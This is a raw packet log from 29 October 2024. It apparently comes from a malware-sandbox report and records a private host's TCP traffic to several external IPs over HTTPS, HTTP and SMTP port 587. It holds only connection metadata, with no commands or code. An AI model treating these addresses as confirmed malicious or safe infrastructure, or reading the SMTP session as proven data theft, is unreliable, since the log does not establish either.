Oct 29, 2024 13:08:34.492903948 CET	60461	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.493088007 CET	60461	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.493108034 CET	443	60461	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.518582106 CET	443	60458	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.518663883 CET	443	60458	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.518930912 CET	60458	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.519136906 CET	60458	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.519155979 CET	443	60458	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.519166946 CET	60458	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.519172907 CET	443	60458	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.522907972 CET	60462	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.522938013 CET	443	60462	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.523005962 CET	60462	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.523164034 CET	60462	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.523171902 CET	443	60462	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.569698095 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:34.569863081 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:34.575208902 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:34.626919985 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.632407904 CET	60459	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.632450104 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.633245945 CET	60459	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.633251905 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.671087027 CET	443	60456	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.671751022 CET	60456	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.671787977 CET	443	60456	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.672348976 CET	60456	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.672354937 CET	443	60456	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.763041973 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.763091087 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.763151884 CET	60459	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.763185978 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.763214111 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.763276100 CET	60459	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.763525963 CET	60459	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.763525963 CET	60459	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.763557911 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.763583899 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.767396927 CET	60463	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.767441988 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.767518044 CET	60463	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.767685890 CET	60463	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.767702103 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.786488056 CET	443	60455	40.69.42.241	192.168.2.5
Oct 29, 2024 13:08:34.786552906 CET	60455	443	192.168.2.5	40.69.42.241
Oct 29, 2024 13:08:34.790679932 CET	60455	443	192.168.2.5	40.69.42.241
Oct 29, 2024 13:08:34.790688038 CET	443	60455	40.69.42.241	192.168.2.5
Oct 29, 2024 13:08:34.791018963 CET	443	60455	40.69.42.241	192.168.2.5
Oct 29, 2024 13:08:34.800298929 CET	60455	443	192.168.2.5	40.69.42.241
Oct 29, 2024 13:08:34.843343019 CET	443	60455	40.69.42.241	192.168.2.5
Oct 29, 2024 13:08:35.048932076 CET	443	60456	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.049019098 CET	443	60456	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.049065113 CET	60456	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.049130917 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:35.049380064 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:35.049433947 CET	60456	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.049433947 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:35.049448013 CET	443	60456	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.049457073 CET	60456	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.049463034 CET	443	60456	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.049463987 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:35.049489021 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:35.049506903 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:35.051209927 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:35.051244974 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:35.052917957 CET	443	60460	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.054632902 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:35.054733038 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:35.054997921 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:35.055015087 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:35.055224895 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:35.064069033 CET	60464	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.064105988 CET	443	60464	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.064162016 CET	60464	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.065376043 CET	60460	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.065387964 CET	443	60460	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.065901995 CET	60460	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.065907001 CET	443	60460	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.066407919 CET	60464	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.066420078 CET	443	60464	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.195008993 CET	443	60460	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.195090055 CET	443	60460	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.195132971 CET	60460	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.195384979 CET	60460	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.195396900 CET	443	60460	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.195408106 CET	60460	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.195414066 CET	443	60460	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.200155973 CET	60465	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.200190067 CET	443	60465	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.200257063 CET	60465	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.200434923 CET	60465	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.200448036 CET	443	60465	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.225658894 CET	443	60461	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.226223946 CET	60461	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.226253986 CET	443	60461	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.226870060 CET	60461	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.226878881 CET	443	60461	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.270246983 CET	443	60462	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.272151947 CET	60462	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.272160053 CET	443	60462	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.273113966 CET	60462	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.273117065 CET	443	60462	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.288501978 CET	443	60455	40.69.42.241	192.168.2.5
Oct 29, 2024 13:08:35.289100885 CET	60455	443	192.168.2.5	40.69.42.241
Oct 29, 2024 13:08:35.289140940 CET	443	60455	40.69.42.241	192.168.2.5
Oct 29, 2024 13:08:35.289156914 CET	60455	443	192.168.2.5	40.69.42.241
Oct 29, 2024 13:08:35.289412975 CET	443	60455	40.69.42.241	192.168.2.5
Oct 29, 2024 13:08:35.289439917 CET	443	60455	40.69.42.241	192.168.2.5
Oct 29, 2024 13:08:35.289474010 CET	60455	443	192.168.2.5	40.69.42.241
Oct 29, 2024 13:08:35.329209089 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:35.355473042 CET	443	60461	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.355545998 CET	443	60461	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.355596066 CET	60461	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.355786085 CET	60461	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.355811119 CET	443	60461	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.355824947 CET	60461	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.355833054 CET	443	60461	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.358973026 CET	60466	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.359056950 CET	443	60466	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.359117985 CET	60467	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:35.359149933 CET	443	60467	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:35.359174013 CET	60466	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.359225035 CET	60467	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:35.359545946 CET	60466	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.359545946 CET	60467	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:35.359584093 CET	443	60466	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.359617949 CET	443	60467	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:35.379674911 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:35.402144909 CET	443	60462	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.402165890 CET	443	60462	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.402215004 CET	60462	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.402220964 CET	443	60462	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.402347088 CET	443	60462	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.402383089 CET	60462	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.402455091 CET	60462	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.402465105 CET	443	60462	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.405394077 CET	60468	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.405441046 CET	443	60468	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.405508995 CET	60468	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.405658960 CET	60468	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.405672073 CET	443	60468	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.509804964 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.510359049 CET	60463	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.510400057 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.510962009 CET	60463	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.510967970 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.636612892 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.636645079 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.636770010 CET	60463	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.636816025 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.636912107 CET	60463	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.636954069 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.637017965 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.637069941 CET	60463	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.637069941 CET	60463	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.637099981 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.637129068 CET	60463	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.637137890 CET	443	60463	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.640872955 CET	60469	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.640907049 CET	443	60469	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.643415928 CET	60469	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.643415928 CET	60469	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.643451929 CET	443	60469	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.809703112 CET	443	60464	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.810328007 CET	60464	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.810364008 CET	443	60464	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.810844898 CET	60464	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.810849905 CET	443	60464	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.941829920 CET	443	60464	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.941889048 CET	443	60464	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.942025900 CET	443	60464	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.942064047 CET	60464	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.942111015 CET	60464	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.942327976 CET	60464	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.942328930 CET	60464	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.942354918 CET	443	60464	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.942370892 CET	443	60464	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.945111990 CET	60470	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.945213079 CET	443	60470	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.945465088 CET	60470	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.945745945 CET	60470	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.945775032 CET	443	60470	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.969954014 CET	443	60465	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.971028090 CET	60465	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.971028090 CET	60465	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:35.971050978 CET	443	60465	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:35.971070051 CET	443	60465	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.092700958 CET	443	60466	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.093336105 CET	60466	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.093359947 CET	443	60466	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.095879078 CET	60466	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.095885992 CET	443	60466	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.103471041 CET	443	60465	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.103562117 CET	443	60465	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.104909897 CET	60465	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.104909897 CET	60465	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.105081081 CET	60465	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.105097055 CET	443	60465	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.107719898 CET	60471	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.107809067 CET	443	60471	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.108042955 CET	60471	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.108042955 CET	60471	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.108131886 CET	443	60471	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.144156933 CET	443	60467	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:36.144416094 CET	60467	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:36.145925999 CET	60467	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:36.145946980 CET	443	60467	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:36.146189928 CET	443	60467	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:36.147789001 CET	60467	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:36.148941040 CET	443	60468	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.149662018 CET	60468	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.149662971 CET	60468	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.149761915 CET	443	60468	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.149792910 CET	443	60468	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.191332102 CET	443	60467	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:36.224083900 CET	443	60466	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.224164009 CET	443	60466	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.224456072 CET	60466	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.224456072 CET	60466	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.224456072 CET	60466	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.227920055 CET	60472	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.228002071 CET	443	60472	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.231091022 CET	60472	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.231091976 CET	60472	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.231163025 CET	443	60472	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.279395103 CET	443	60468	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.279481888 CET	443	60468	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.279607058 CET	60468	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.279690981 CET	60468	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.279690981 CET	60468	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.279716969 CET	443	60468	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.279730082 CET	443	60468	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.284872055 CET	60473	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.284964085 CET	443	60473	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.285180092 CET	60473	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.285587072 CET	60473	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.285619020 CET	443	60473	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.285887957 CET	443	60467	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:36.293458939 CET	60467	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:36.293458939 CET	60467	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:36.293512106 CET	443	60467	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:36.293648005 CET	443	60467	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:36.293677092 CET	443	60467	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:36.294363022 CET	60467	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:36.401743889 CET	443	60469	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.402435064 CET	60469	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.402455091 CET	443	60469	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.403006077 CET	60469	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.403013945 CET	443	60469	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.442219973 CET	60466	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.442292929 CET	443	60466	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.533855915 CET	443	60469	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.534015894 CET	443	60469	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.535718918 CET	60469	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.535862923 CET	60469	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.535862923 CET	60469	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.535881042 CET	443	60469	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.535892010 CET	443	60469	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.542933941 CET	60474	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.543041945 CET	443	60474	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.543147087 CET	60474	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.543729067 CET	60474	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.543762922 CET	443	60474	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.544629097 CET	80	49767	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:36.544698000 CET	49767	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:36.677988052 CET	443	60470	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.721893072 CET	60470	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.721961021 CET	443	60470	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.722336054 CET	60470	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.722368002 CET	443	60470	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.842581987 CET	443	60471	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.848664999 CET	443	60470	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.848840952 CET	443	60470	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.849073887 CET	60470	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.895499945 CET	60471	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.925168037 CET	60471	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.925177097 CET	443	60471	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.936377048 CET	60471	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.936384916 CET	443	60471	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.936553001 CET	60470	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.936619043 CET	443	60470	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.936651945 CET	60470	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.936670065 CET	443	60470	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.968174934 CET	443	60472	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.993876934 CET	60475	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.993985891 CET	443	60475	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.994102955 CET	60475	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.994946957 CET	60475	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.994978905 CET	443	60475	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.995166063 CET	60472	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.995232105 CET	443	60472	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:36.995618105 CET	60472	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:36.995630980 CET	443	60472	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.017960072 CET	443	60473	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.047734022 CET	60473	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.047768116 CET	443	60473	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.048417091 CET	60473	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.048430920 CET	443	60473	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.062571049 CET	443	60471	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.062813997 CET	443	60471	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.063112974 CET	60471	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.063219070 CET	60471	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.063219070 CET	60471	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.063235044 CET	443	60471	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.063246965 CET	443	60471	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.066315889 CET	60476	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.066425085 CET	443	60476	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.067080021 CET	60476	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.067343950 CET	60476	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.067383051 CET	443	60476	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.121108055 CET	443	60472	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.121175051 CET	443	60472	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.121278048 CET	60472	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.173991919 CET	443	60473	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.174072981 CET	443	60473	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.174156904 CET	60473	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.192317963 CET	60472	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.192370892 CET	443	60472	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.192404032 CET	60472	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.192420959 CET	443	60472	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.203926086 CET	60473	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.203970909 CET	443	60473	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.204001904 CET	60473	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.204020023 CET	443	60473	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.207007885 CET	60477	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.207043886 CET	443	60477	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.207113981 CET	60477	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.207305908 CET	60477	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.207324982 CET	443	60477	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.207479954 CET	60478	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.207524061 CET	443	60478	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.207593918 CET	60478	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.207700968 CET	60478	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.207720041 CET	443	60478	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.292771101 CET	443	60474	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.293365955 CET	60474	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.293399096 CET	443	60474	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.294097900 CET	60474	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.294110060 CET	443	60474	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.312258005 CET	49767	80	192.168.2.5	51.81.194.202
